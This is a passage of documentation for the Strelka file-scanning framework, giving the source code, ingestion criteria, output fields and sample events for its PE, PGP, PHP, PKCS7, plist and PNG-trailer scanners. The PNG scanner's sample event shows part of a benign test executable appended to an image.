test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [\"no_certs_found\"],\n \"total\": {\"libraries\": 0, \"resources\": 2, \"sections\": 2, \"symbols\": 0},\n \"summary\": {\n \"resource_md5\": unordered(\n [\n \"f4741884351459aa7733725b88e693af\",\n \"b7db84991f23a680df8e95af8946f9c9\",\n ]\n ),\n \"resource_sha1\": unordered(\n [\n \"5371904ee7671fb0b066d9323eda553269f344f9\",\n \"cac699787884fb993ced8d7dc47b7c522c7bc734\",\n ]\n ),\n \"resource_sha256\": unordered(\n [\n \"539dc26a14b6277e87348594ab7d6e932d16aabb18612d77f29fe421a9f1d46a\",\n \"d8df3d0358a91b3ef97c4d472b34a60f7cf9ee7f1a6f37058fc3d1af3a156a36\",\n ]\n ),\n \"section_md5\": unordered(\n [\n \"c3eafa2cd34f98a226e31b8ea3fea400\",\n \"cc14da7fb94ef9b27a926fe95b86b44f\",\n ]\n ),\n \"section_sha1\": unordered(\n [\n \"3d584b265a558dc22fa6dfa9991ae7eafee5c1a4\",\n \"00104b432a8e7246695843e4f2d7cf2582efa3e6\",\n ]\n ),\n \"section_sha256\": unordered(\n [\n \"86d9755b2ba9d8ffd765621f09844dd62d0b082fdc4aafa63b3b3f3ae25d9c77\",\n \"bb31a5224e9f78905909655d9c80ba7d63f03910e4f22b296d6b7865e2a477c3\",\n ]\n ),\n },\n \"debug\": {\n \"type\": \"rsds\",\n \"guid\": b\"a66307d0-9b84-b944-bf030bff2d7d1e4a\",\n \"age\": 1,\n \"pdb\": b\"C:\\\\Users\\\\tmcguff\\\\source\\\\repos\\\\HelloWorld\\\\HelloWorld\\\\obj\\\\x64\\\\Release\\\\HelloWorld.pdb\",\n },\n \"file_info\": {\n \"fixed\": {\n \"flags\": [],\n \"operating_systems\": [\"WINDOWS32\"],\n \"type\": {\"primary\": \"APP\", \"sub\": \"\"},\n },\n \"string\": [],\n \"var\": {\"language\": None, \"character_set\": \"Unicode\"},\n \"comments\": \"\",\n \"company_name\": \".\",\n \"file_description\": \"HelloWorld\",\n \"file_version\": \"1.0.0.0\",\n \"internal_name\": \"HelloWorld.exe\",\n \"legal_copyright\": \"Copyright \u00a9 . 2020\",\n \"legal_trademarks\": \"\",\n \"original_filename\": \"HelloWorld.exe\",\n \"product_name\": \"HelloWorld\",\n \"product_version\": \"1.0.0.0\",\n \"assembly_version\": \"1.0.0.0\",\n },\n \"header\": {\n \"machine\": {\"id\": 34404, \"type\": \"AMD64\"},\n \"magic\": {\"dos\": \"DOS\", \"image\": \"64_BIT\"},\n \"subsystem\": \"WINDOWS_CUI\",\n },\n \"base_of_code\": 8192,\n \"address_of_entry_point\": 0,\n \"image_base\": 5368709120,\n \"size_of_code\": 2048,\n \"size_of_initialized_data\": 1536,\n \"size_of_headers\": 512,\n \"size_of_heap_reserve\": 1048576,\n \"size_of_image\": 24576,\n \"size_of_stack_commit\": 16384,\n \"size_of_stack_reserve\": 4194304,\n \"size_of_heap_commit\": 8192,\n \"size_of_uninitialized_data\": 0,\n \"file_alignment\": 512,\n \"section_alignment\": 8192,\n \"checksum\": 0,\n \"major_image_version\": 0,\n \"minor_image_version\": 0,\n \"major_linker_version\": 48,\n \"minor_linker_version\": 0,\n \"major_operating_system_version\": 4,\n \"minor_operating_system_version\": 0,\n \"major_subsystem_version\": 4,\n \"minor_subsystem_version\": 0,\n \"image_version\": 0.0,\n \"linker_version\": 48.0,\n \"operating_system_version\": 4.0,\n \"subsystem_version\": 4.0,\n \"compile_time\": \"2104-07-18T17:22:04\",\n \"dll_characteristics\": unordered(\n [\n \"DYNAMIC_BASE\",\n \"NX_COMPAT\",\n \"NO_SEH\",\n \"TERMINAL_SERVER_AWARE\",\n ]\n ),\n \"image_characteristics\": unordered([\"EXECUTABLE_IMAGE\", \"LARGE_ADDRESS_AWARE\"]),\n \"resources\": unordered(\n [\n {\n \"id\": 1,\n \"language\": {\"sub\": \"NEUTRAL\", \"primary\": \"NEUTRAL\"},\n \"type\": \"VERSION\",\n \"md5\": \"f4741884351459aa7733725b88e693af\",\n \"sha1\": \"5371904ee7671fb0b066d9323eda553269f344f9\",\n \"sha256\": \"d8df3d0358a91b3ef97c4d472b34a60f7cf9ee7f1a6f37058fc3d1af3a156a36\",\n },\n {\n \"id\": 1,\n \"language\": {\"sub\": \"NEUTRAL\", \"primary\": \"NEUTRAL\"},\n \"type\": \"MANIFEST\",\n \"md5\": \"b7db84991f23a680df8e95af8946f9c9\",\n \"sha1\": \"cac699787884fb993ced8d7dc47b7c522c7bc734\",\n \"sha256\": \"539dc26a14b6277e87348594ab7d6e932d16aabb18612d77f29fe421a9f1d46a\",\n },\n ]\n ),\n \"sections\": unordered(\n [\n {\n \"address\": {\"physical\": 1743, \"virtual\": 8192},\n \"characteristics\": [\"CNT_CODE\", \"MEM_EXECUTE\", \"MEM_READ\"],\n \"entropy\": 4.621214196319175,\n \"name\": \".text\",\n \"size\": 2048,\n \"md5\": \"cc14da7fb94ef9b27a926fe95b86b44f\",\n \"sha1\": \"3d584b265a558dc22fa6dfa9991ae7eafee5c1a4\",\n \"sha256\": \"bb31a5224e9f78905909655d9c80ba7d63f03910e4f22b296d6b7865e2a477c3\",\n },\n {\n \"address\": {\"physical\": 1472, \"virtual\": 16384},\n \"characteristics\": [\"CNT_INITIALIZED_DATA\", \"MEM_READ\"],\n \"entropy\": 4.09070377434219,\n \"name\": \".rsrc\",\n \"size\": 1536,\n \"md5\": \"c3eafa2cd34f98a226e31b8ea3fea400\",\n \"sha1\": \"00104b432a8e7246695843e4f2d7cf2582efa3e6\",\n \"sha256\": \"86d9755b2ba9d8ffd765621f09844dd62d0b082fdc4aafa63b3b3f3ae25d9c77\",\n },\n ]\n ),\n \"symbols\": {\"exported\": [], \"imported\": [], \"libraries\": [], \"table\": []},\n }\nCollects metadata from PGP files.
Source code instrelka/src/python/strelka/scanners/scan_pgp.py class ScanPgp(strelka.Scanner):\n \"\"\"Collects metadata from PGP files.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n self.event[\"total\"] = {\n \"public_keys\": 0,\n \"public_key_encrypted_session_keys\": 0,\n \"secret_keys\": 0,\n \"signatures\": 0,\n \"trusts\": 0,\n \"user_attributes\": 0,\n \"user_ids\": 0,\n }\n\n self.event.setdefault(\"public_keys\", [])\n self.event.setdefault(\"public_key_encrypted_session_keys\", [])\n self.event.setdefault(\"secret_keys\", [])\n self.event.setdefault(\"signatures\", [])\n self.event.setdefault(\"trusts\", [])\n self.event.setdefault(\"user_attributes\", [])\n self.event.setdefault(\"user_ids\", [])\n\n try:\n self.parse_pgpdump(data)\n except Exception:\n self.flags.append(\"pgpdump_error\")\n\n def parse_pgpdump(self, data):\n pgpdump_data = None\n\n try:\n pgpdump_data = pgpdump.AsciiData(data)\n except (pgpdump.utils.PgpdumpException, AttributeError):\n try:\n pgpdump_data = pgpdump.BinaryData(data)\n except pgpdump.utils.PgpdumpException:\n self.flags.append(\"pgpdump_parse_error\")\n\n if pgpdump_data:\n for packet in pgpdump_data.packets():\n if isinstance(packet, CompressedDataPacket):\n self.parse_pgpdump(packet.decompressed_data)\n\n elif isinstance(packet, SecretKeyPacket):\n self.event[\"total\"][\"secret_keys\"] += 1\n secret_key_entry = {\n \"key_id\": getattr(packet, \"key_id\", None),\n \"pubkey_version\": getattr(packet, \"secretkey_version\", None),\n \"fingerprint\": getattr(packet, \"fingerprint\", None),\n \"pub_algorithm_type\": getattr(\n packet, \"secret_algorithm_type\", None\n ),\n \"key_value\": getattr(packet, \"key_value\", None),\n }\n\n creation_time = getattr(packet, \"creation_time\", None)\n if creation_time is not None:\n secret_key_entry[\"creation_time\"] = creation_time.isoformat()\n expiration_time = getattr(packet, \"expiration_time\", None)\n if expiration_time is not None:\n secret_key_entry[\"expiration_time\"] = (\n expiration_time.isoformat()\n )\n\n if secret_key_entry not in self.event[\"secret_keys\"]:\n self.event[\"secret_keys\"].append(secret_key_entry)\n\n elif isinstance(packet, PublicKeyPacket):\n self.event[\"total\"][\"public_keys\"] += 1\n public_key_entry = {\n \"key_id\": getattr(packet, \"key_id\", None),\n \"pubkey_version\": getattr(packet, \"pubkey_version\", None),\n \"fingerprint\": getattr(packet, \"fingerprint\", None),\n \"pub_algorithm_type\": getattr(\n packet, \"pub_algorithm_type\", None\n ),\n \"key_value\": getattr(packet, \"key_value\", None),\n }\n\n creation_time = getattr(packet, \"creation_time\", None)\n if creation_time is not None:\n public_key_entry[\"creation_time\"] = creation_time.isoformat()\n expiration_time = getattr(packet, \"expiration_time\", None)\n if expiration_time is not None:\n public_key_entry[\"expiration_time\"] = (\n expiration_time.isoformat()\n )\n\n if public_key_entry not in self.event[\"public_keys\"]:\n self.event[\"public_keys\"].append(public_key_entry)\n\n elif isinstance(packet, PublicKeyEncryptedSessionKeyPacket):\n self.event[\"total\"][\"public_key_encrypted_session_keys\"] += 1\n public_key_encrypted_session_key_entry = {\n \"session_key_version\": getattr(\n packet, \"session_key_version\", None\n ),\n \"key_id\": getattr(packet, \"key_id\", None),\n \"pub_algorithm\": getattr(packet, \"pub_algorithm\", None),\n }\n\n if (\n public_key_encrypted_session_key_entry\n not in self.event[\"public_key_encrypted_session_keys\"]\n ):\n self.event[\"public_key_encrypted_session_keys\"].append(\n public_key_encrypted_session_key_entry\n )\n\n elif isinstance(packet, SignaturePacket):\n self.event[\"total\"][\"signatures\"] += 1\n signature_packet_entry = {\n \"key_id\": getattr(packet, \"key_id\", None),\n \"sig_version\": getattr(packet, \"sig_version\", None),\n \"sig_type\": getattr(packet, \"sig_type\", None),\n \"hash_algorithm\": getattr(packet, \"hash_algorithm\", None),\n \"pub_algorithm\": getattr(packet, \"pub_algorithm\", None),\n \"length\": getattr(packet, \"length\", None),\n }\n creation_time = getattr(packet, \"creation_time\", None)\n if creation_time is not None:\n signature_packet_entry[\"creation_time\"] = (\n creation_time.isoformat()\n )\n expiration_time = getattr(packet, \"expiration_time\", None)\n if expiration_time is not None:\n signature_packet_entry[\"expiration_time\"] = (\n expiration_time.isoformat()\n )\n\n if signature_packet_entry not in self.event[\"signatures\"]:\n self.event[\"signatures\"].append(signature_packet_entry)\n\n elif isinstance(packet, TrustPacket):\n self.event[\"total\"][\"trusts\"] += 1\n trust_entry = {\n \"trusts\": getattr(packet, \"trusts\", None),\n }\n\n if trust_entry not in self.event[\"trusts\"]:\n self.event[\"trusts\"].append(trust_entry)\n\n elif isinstance(packet, UserAttributePacket):\n self.event[\"total\"][\"user_attributes\"] += 1\n user_attribute_entry = {\n \"image_format\": getattr(packet, \"image_format\", None),\n \"image_data\": getattr(packet, \"image_data\", None),\n }\n\n if user_attribute_entry not in self.event[\"user_attributes\"]:\n self.event[\"user_attributes\"].append(user_attribute_entry)\n\n elif isinstance(packet, UserIDPacket):\n self.event[\"total\"][\"user_ids\"] += 1\n user_id_entry = {\n \"user\": getattr(packet, \"user\", None),\n \"user_name\": getattr(packet, \"user_name\", None),\n \"user_email\": getattr(packet, \"user_email\", None),\n }\n\n if user_id_entry not in self.event[\"user_ids\"]:\n self.event[\"user_ids\"].append(user_id_entry)\n\n elif isinstance(packet, Packet):\n if packet.name == \"Literal Data Packet\":\n pass\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanPgp.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/pgp-keys pgp_file text/PGP"},{"location":"Scanners/ScanPgp.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list public_key_encrypted_session_keys list public_keys list public_keys.creation_time str public_keys.fingerprint bytes public_keys.key_id bytes public_keys.key_value NoneType public_keys.pub_algorithm_type str public_keys.pubkey_version int secret_keys list secret_keys.creation_time str secret_keys.fingerprint bytes secret_keys.key_id bytes secret_keys.key_value NoneType secret_keys.pub_algorithm_type NoneType secret_keys.pubkey_version NoneType signatures list signatures.creation_time str signatures.hash_algorithm str signatures.key_id bytes signatures.length int signatures.pub_algorithm str signatures.sig_type str signatures.sig_version int total dict total.public_key_encrypted_session_keys int total.public_keys int total.secret_keys int total.signatures int total.trusts int total.user_attributes int total.user_ids int trusts list user_attributes list user_ids list user_ids.user str user_ids.user_email str user_ids.user_name str"},{"location":"Scanners/ScanPgp.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"public_key_encrypted_session_keys\": [],\n \"public_keys\": [],\n \"secret_keys\": [],\n \"trusts\": [],\n \"user_attributes\": [],\n \"user_ids\": [],\n \"signatures\": [\n {\n \"creation_time\": \"2023-01-16T01:26:37\",\n \"hash_algorithm\": \"SHA512\",\n \"key_id\": b\"CA352AC023CAA9FF\",\n \"length\": 435,\n \"pub_algorithm\": \"RSA Encrypt or Sign\",\n \"sig_type\": \"Signature of a canonical text document\",\n \"sig_version\": 4,\n }\nCollects metadata from PHP files.
Pygments is used as a lexer and the tokenized data is appended as metadata.
Attributes:
Name Type Descriptionlexer Pygments lexer ('php') used to parse the file.
Source code instrelka/src/python/strelka/scanners/scan_php.py class ScanPhp(strelka.Scanner):\n \"\"\"Collects metadata from PHP files.\n\n Pygments is used as a lexer and the tokenized data is appended as metadata.\n\n Attributes:\n lexer: Pygments lexer ('php') used to parse the file.\n \"\"\"\n\n def init(self):\n self.lexer = lexers.get_lexer_by_name(\"php\")\n\n def scan(self, data, file, options, expire_at):\n highlight = pygments.highlight(\n data,\n self.lexer,\n formatters.RawTokenFormatter(),\n )\n highlight_list = highlight.split(b\"\\n\")\n\n ordered_highlights = []\n for hl in highlight_list:\n split_highlight = hl.split(b\"\\t\")\n if len(split_highlight) == 2:\n token = split_highlight[0].decode()\n value = split_highlight[1].decode().strip(\"'\\\"\").strip()\n highlight_entry = {\"token\": token, \"value\": value}\n if highlight_entry[\"value\"]:\n ordered_highlights.append(highlight_entry)\n\n self.event.setdefault(\"tokens\", [])\n self.event.setdefault(\"builtins\", [])\n self.event.setdefault(\"operators\", [])\n self.event.setdefault(\"strings\", [])\n self.event.setdefault(\"variables\", [])\n\n position = 0\n while position < len(ordered_highlights):\n ohlp = ordered_highlights[position]\n if ohlp[\"token\"] not in self.event[\"tokens\"]:\n self.event[\"tokens\"].append(ohlp[\"token\"])\n if ohlp[\"token\"] == \"Token.Name.Builtin\":\n if ohlp[\"value\"] not in self.event[\"builtins\"]:\n self.event[\"builtins\"].append(ohlp[\"value\"])\n elif ohlp[\"token\"] == \"Token.Operator\":\n if ohlp[\"value\"] not in self.event[\"operators\"]:\n self.event[\"operators\"].append(ohlp[\"value\"])\n elif ohlp[\"token\"] in [\n \"Token.Literal.String.Single\",\n \"Token.Literal.String.Double\",\n \"Token.Literal.String.Backtick\",\n \"Token.Literal.String.Doc\",\n ]:\n if ohlp[\"value\"] not in self.event[\"strings\"]:\n self.event[\"strings\"].append(ohlp[\"value\"])\n elif ohlp[\"token\"] == \"Token.Name.Variable\":\n if ohlp[\"value\"] not in self.event[\"variables\"]:\n self.event[\"variables\"].append(ohlp[\"value\"])\n\n position += 1\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanPhp.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludephp_file text/x-php"},{"location":"Scanners/ScanPhp.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Failure
No fields to display. The test file may not exist or could not be processed.
"},{"location":"Scanners/ScanPhp.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
Failure
Test file not found for scanner php
"},{"location":"Scanners/ScanPkcs7.html","title":"ScanPkcs7","text":"Extracts files from PKCS7 certificate files.
Source code instrelka/src/python/strelka/scanners/scan_pkcs7.py class ScanPkcs7(strelka.Scanner):\n \"\"\"Extracts files from PKCS7 certificate files.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n # Set the temporary directory for storing data. The default is \"/tmp/\".\n tmp_directory = options.get(\"tmp_directory\", \"/tmp/\")\n\n # Initialize the \"total\" field in the event object with the number of certificates and extracted files.\n self.event[\"total\"] = {\"certificates\": 0, \"extracted\": 0}\n\n try:\n # Needs a file to load data, not a buffer.\n # Try to create a temporary file in the specified temporary directory.\n with tempfile.NamedTemporaryFile(dir=tmp_directory) as tmp_data:\n tmp_data.write(data)\n tmp_data.flush()\n\n # Try to load the PKCS7 key file.\n try:\n if data[:1] == b\"0\":\n pkcs7 = SMIME.load_pkcs7_der(tmp_data.name)\n else:\n pkcs7 = SMIME.load_pkcs7(tmp_data.name)\n except SMIME.SMIME_Error:\n self.flags.append(\n f\"{self.__class__.__name__} Exception: Error loading PKCS7 key file with SMIME error.\"\n )\n return\n except Exception as e:\n self.flags.append(\n f\"{self.__class__.__name__} Exception: {str(e)[:50]}\"\n )\n return\n\n # Try to get the signers from the PKCS7 file.\n try:\n certs = pkcs7.get0_signers(X509.X509_Stack())\n except X509.X509Error:\n self.flags.append(\n f\"{self.__class__.__name__} Exception: Error collecting PKCS7 signers.\"\n )\n return\n except Exception as e:\n self.flags.append(\n f\"{self.__class__.__name__} Exception: {str(e)[:50]}\"\n )\n return\n\n # If there are signers in the PKCS7 file, process them.\n if certs:\n self.event[\"total\"][\"certificates\"] = len(certs)\n for cert in certs:\n try:\n self.emit_file(\n cert.as_der(), name=f\"sn_{cert.get_serial_number()}\"\n )\n except Exception:\n self.flags.append(\n f\"{self.__class__.__name__} Exception: Error processing PKCS7 signers.\"\n )\n return\n self.event[\"total\"][\"extracted\"] += 1\n except tempfile.NamedTemporaryFile:\n self.flags.append(\n f\"{self.__class__.__name__} Exception: Error creating temporary file for PKCS7 file.\"\n )\n except Exception as e:\n self.flags.append(f\"{self.__class__.__name__} Exception: {str(e)[:50]}\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanPkcs7.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludepkcs7_file"},{"location":"Scanners/ScanPkcs7.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Failure
No fields to display. The test file may not exist or could not be processed.
"},{"location":"Scanners/ScanPkcs7.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
Failure
Test file not found for scanner pkcs7
"},{"location":"Scanners/ScanPlist.html","title":"ScanPlist","text":"Parses keys found in property list files.
Optionskeys: plist key values to log in the event. Defaults to all.
Source code instrelka/src/python/strelka/scanners/scan_plist.py class ScanPlist(strelka.Scanner):\n \"\"\"Parses keys found in property list files.\n\n Options:\n keys: plist key values to log in the event.\n Defaults to all.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n keys = options.get(\"keys\", [])\n\n try:\n plist = plistlib.loads(data)\n\n self.event[\"keys\"] = []\n if isinstance(plist, dict):\n for k, v in plist.items():\n if keys and k not in keys:\n continue\n\n try:\n v = ast.literal_eval(v)\n except (ValueError, SyntaxError):\n pass\n\n self.event[\"keys\"].append(\n {\n \"key\": k,\n \"value\": v,\n }\n )\n except xml.parsers.expat.ExpatError:\n self.flags.append(\"invalid_format\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanPlist.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludebplist_file plist_file"},{"location":"Scanners/ScanPlist.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list keys list keys.key str keys.value str"},{"location":"Scanners/ScanPlist.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"keys\": [\n {\"key\": \"Language\", \"value\": \"English\"},\n {\"key\": \"Locale\", \"value\": \"US\"},\n ],\n }\nExtract data embeded in PNG files.
This scanner extracts data that is inserted past the PNG file end
Source code instrelka/src/python/strelka/scanners/scan_png_eof.py class ScanPngEof(strelka.Scanner):\n \"\"\"Extract data embeded in PNG files.\n\n This scanner extracts data that is inserted past the PNG file end\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n # PNG IEND chunk\n png_iend = b\"\\x00\\x00\\x00\\x00\\x49\\x45\\x4e\\x44\\xae\\x42\\x60\\x82\"\n\n # A normal PNG file should end with the IEND chunk\n if data.endswith(png_iend):\n self.flags.append(\"no_trailer\")\n else:\n # Locate the first occurance of the IEND chunk, the end of PNG file\n if -1 != (trailer_index := data.find(png_iend)):\n trailer_index = trailer_index + len(png_iend)\n self.event[\"trailer_index\"] = trailer_index\n self.event[\"PNG_EOF\"] = data[trailer_index:]\n\n # Send extracted file back to Strelka\n self.emit_file(data[trailer_index:])\n\n else:\n self.flags.append(\"no_iend_chunk\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanPngEof.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / ExcludeScanTranscode image/png png_file"},{"location":"Scanners/ScanPngEof.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field TypePNG_EOF bytes elapsed str flags list trailer_index int"},{"location":"Scanners/ScanPngEof.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"trailer_index\": 539355,\n \"PNG_EOF\": b'MZ\\x90\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xff\\xff\\x00\\x00\\xb8\\x00\\x00\\x00\\x00\\x00\\x00\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x80\\x00\\x00\\x00\\x0e\\x1f\\xba\\x0e\\x00\\xb4\\t\\xcd!\\xb8\\x01L\\xcd!This program cannot be run in DOS mode.\\r\\r\\n$\\x00\\x00\\x00\\x00\\x00\\x00\\x00PE\\x00\\x00d\\x86\\x02\\x00\\xbcs\\x12\\xfd\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf0\\x00\"\\x00\\x0b\\x020\\x00\\x00\\x08\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x00@\\x01\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x02\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00`\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00@\\x85\\x00\\x00@\\x00\\x00\\x00\\x00\\x00\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00@\\x00\\x00\\xc0\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00,&\\x00\\x008\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00H\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00.text\\x00\\x00\\x00\\xcf\\x06\\x00\\x00\\x00 \\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00\\x00`.rsrc\\x00\\x00\\x00\\xc0\\x05\\x00\\x00\\x00@\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\n\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00@\\x00\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00H\\x00\\x00\\x00\\x02\\x00\\x05\\x00\\\\ 